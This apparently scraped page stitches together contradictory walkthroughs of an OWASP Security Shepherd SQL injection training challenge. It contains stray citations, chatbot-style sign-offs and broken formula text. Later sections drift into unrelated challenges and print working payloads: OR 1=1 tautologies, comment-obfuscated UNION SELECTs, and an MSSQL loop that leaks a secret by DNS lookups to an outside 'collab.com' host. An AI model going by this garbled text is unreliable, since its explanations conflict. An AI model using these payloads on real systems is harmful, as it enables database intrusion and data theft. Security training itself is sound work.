Sql+injection+challenge+5+security+shepherd+new [VERIFIED]

Now we attempt a UNION SELECT to see where data is reflected on the screen.

If the challenge is a login form, you might need to use specific column names (like username and password) or simply rely on the numeric placeholders.

Submitting a single quote (') in the username field results in a generic error page or a blank response – no detailed SQL error is shown. This indicates:

Post: Stuck on Security Shepherd SQL Injection Challenge 5? 🛑

Stop trying to throw raw SQL at it. The filter is the boss here.

💡 Hint: The application is stripping specific characters or keywords. How does the database interpret characters differently than the filter?

This one is less about the SQL syntax and more about the encoding bypass.

Stay persistent! 💻

#SecurityShepherd #CTF #SQLi #Hacking

SQL Injection Challenge 5 (often referred to as the "Meme Shop" or "Coupon Code" challenge) in OWASP Security Shepherd is a logic-based injection task that tests your ability to manipulate backend database queries through input fields. Challenge Overview

In this scenario, you are presented with a "Super Meme Shop" interface where you can "buy" items. The goal is to obtain a VIP Coupon Code

that allows you to complete a transaction for free (or for a "troll amount"), which then rewards you with the result key. 1. Identify the Vulnerable Input The vulnerability lies in the Coupon Code

input field. Unlike earlier challenges that might use simple login forms, this one requires you to extract data from a table you don't initially see. Course Hero 2. Construct the Payload The backend likely uses a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = 'USER_INPUT'; Course Hero

To bypass the check and force the database to return a valid coupon code (even if you don't know it), you can use a classic tautology: Course Hero Resulting Query:

SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

is always true, the database will return the first available coupon code in the table. Course Hero 3. Exploit and Retrieve the Key Enter the payload into the Coupon Code box and click "Place Order". The application should reveal a VIP Coupon Code (e.g., a specific string like VIP-123-CODE Refresh the page or go back to the shop, enter the actual coupon code sql+injection+challenge+5+security+shepherd+new

you just discovered, and set a quantity for an item (some versions require a "Troll Amount" is greater than or equal to 1 Submit the order to receive your solution key. Key Takeaway

This challenge demonstrates that SQL injection isn't just about bypassing logins; it can be used to exfiltrate sensitive data

(like discount codes or internal IDs) that the application logic then trusts for further actions. ResearchGate ✅ Result The solution involves using a tautology payload like

in the coupon field to force the database to leak a valid VIP code, which is then used to "purchase" the result key for free. Are you having trouble with the mechanism in this specific level, or does the payload work for your version?

Mastering the SQL Injection Challenge 5 in OWASP Security Shepherd

The OWASP Security Shepherd project is a premier training platform designed to teach the fundamentals of web application security through hands-on, gamified challenges. Among these, the SQL Injection Challenge 5 stands out as a critical test of your ability to bypass standard escaping mechanisms and exploit flawed input sanitization. Understanding the Vulnerability

In this specific challenge, the application attempts to secure its database by "escaping" single quotes (

). When a developer tries to manually sanitize input by replacing every single quote with a backslash-escaped version (\'), they often create a new vulnerability.

The core issue in Challenge 5 is how the escaping function handles backslashes:

The Escape Logic: The application replaces every single quote ( ) with (\'). The Flaw: If you provide a backslash (

'$), the application sees the single quote and escapes it, resulting in two backslashes followed by a single quote (

→́′4 lines; Line 1:; Line 2: modified right arrow with acute accent above; Line 3:; Line 4: prime end-lines;

The Result: The first backslash now escapes the second backslash, leaving the single quote unescaped and able to break out of the SQL string. Walkthrough: Solving SQL Injection 5

To solve this challenge, you must leverage the escaping flaw to manipulate the backend query.

Identify the Input Field: Most versions of this challenge feature a "Coupon Code" or "VIP Check" field.

Test for Escaping: If you enter a standard payload like ' OR 1=1; --, it will likely fail because the single quote is neutralized. Now we attempt a UNION SELECT to see

Execute the Bypass: Use a payload that exploits the backslash handling. Payload: \' OR 1=1; --

Alternative: In some environments, simply using "" OR 1=1 (double quotes) may bypass basic single-quote filters if the backend SQL engine allows them.

Analyze the Query Change: By using \', you effectively tell the database to treat the backslash as a literal character and the quote as a string terminator. The trailing OR 1=1; -- then makes the condition always true, returning all results—including the secret key needed to pass the level. Prevention and Best Practices

Manually escaping characters is a "blacklisting" approach that is highly prone to errors, as seen in this challenge. To prevent such vulnerabilities in real-world applications, follow these industry standards:

Use Prepared Statements: This is the most effective defense. By using parameterized queries, the SQL logic is pre-compiled, and user input is treated strictly as data, never as executable code.

Input Validation: Implement strict whitelisting to ensure input matches expected formats (e.g., alphanumeric only).

Principle of Least Privilege: Ensure the database user account used by the application has the minimum permissions necessary, limiting the damage an attacker can do if they succeed in an injection.

For more hands-on practice, you can explore the OWASP Security Shepherd GitHub repository to see the source code behind these vulnerabilities. SqlInjection5VipCheck.java - GitHub

The SQL Injection Challenge 5 in OWASP Security Shepherd is a "VIP Coupon Code" scenario where you must bypass a payment gate by injecting SQL into the coupon field to retrieve or validate a valid VIP code. 🎯 Objective Goal: Obtain a free "Troll" by applying a VIP coupon code.

Challenge: The application expects a valid coupon code to set the price to

. You must use SQL injection to trick the database into accepting an "always true" condition or revealing the valid code. 🛠️ Step-by-Step Walkthrough 1. Identify the Entry Point

Navigate to the "SQL Injection 5" challenge page. You will see a shopping interface for "Trolls" with a field for a Coupon Code. Entering a random string like TEST will result in an "Invalid Coupon" message. 2. Test for Vulnerability

Most Security Shepherd SQL challenges use double quotes (") or single quotes (') for string encapsulation. Try entering a single quote ' in the coupon field.

If the application returns a database error or behaves differently, it is likely vulnerable. 3. Craft the Bypass Payload

The goal is to make the WHERE clause of the underlying SQL query always return true. The suspected query looks like this:

SELECT coupon_code FROM coupons WHERE coupon_code = ′User_Input′SELECT coupon_code FROM coupons WHERE coupon_code = prime User_Input prime If the challenge is a login form, you

To bypass this, use a classic OR tautology. The most common working payload for this specific challenge is: Payload: "" OR 1=1 (or '' OR 1=1) When injected, the query becomes:

SELECT * FROM coupons WHERE coupon_code = "" OR 1=1SELECT * FROM coupons WHERE coupon_code = "" OR 1=1 4. Execute and Retrieve Key Enter 1 (or any number ≥1is greater than or equal to 1 ) in the Quantity field for the Troll. Paste the payload "" OR 1=1 into the Coupon Code box. Click Place Order.

The system will validate the "always true" condition, apply a discount, and display the Result Key. 🛡️ Why This Works

The injection breaks out of the intended data field and appends a new logical condition (OR 1=1). Since 1=1 is always true, the database returns the first available coupon record (the VIP one) regardless of what you typed before the OR. ✅ Result

The result is the Result Key displayed on the "Order Confirmation" screen. Copy this key and submit it to the Security Shepherd scoreboard to complete the challenge.

If you'd like to dive deeper into the source code of this challenge or need help with the SQL Injection Escaping level (which often follows this one), let me know!

This challenge focuses on a less common but devastating SQL injection technique: Out-of-Band (OOB) SQL Injection using xp_dnsresolve on Microsoft SQL Server.

You need to change user_id = 2 to user_id = 1. But you cannot use quotes or spaces in creative ways? Wait — spaces are allowed.

Try searching for:
%' UNION SELECT note FROM notes WHERE user_id=1 --

But quotes are blocked. How to inject without quotes? Use hex encoding or CHAR() function — but the filter blocks parentheses? No, parentheses are allowed. Let’s check: ( and ) are not in the regex [^a-zA-Z0-9 ]. So you can use functions.

But the injection point is inside the LIKE '%[injection]%' string. You need to close the LIKE clause and add a new condition.

Search term:
%' OR user_id=1 --

Still blocked because of the single quote. Try escaping the single quote? You can’t type \' because \ is allowed but the quote is blocked at validation.

(Adjust syntax to target DBMS: MySQL, MSSQL, Oracle, PostgreSQL.)

Here’s a full example payload to extract the entire secret in one shot using a while loop (injected via stacked queries – only works if MultipleActiveResultSets is true or via blind but OOB loops are fine):

' OR 1=1; 
DECLARE @i int = 1; 
DECLARE @len int; 
DECLARE @chunk nvarchar(4000); 
SELECT @len = LEN(secret_key) FROM secret_table; 
WHILE @i <= @len
BEGIN 
    SELECT @chunk = SUBSTRING(secret_key, @i, 50) FROM secret_table; 
    EXEC xp_dnsresolve @chunk + '.' + CAST(@i AS varchar) + '.collab.com'; 
    SET @i = @i + 50; 
END; 
--

We cannot use ORDER BY easily due to space filters, so we use UNION SELECT NULL. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL/**/aNd/**/1=2-- -

If this returns no rows (False), try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -

Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns.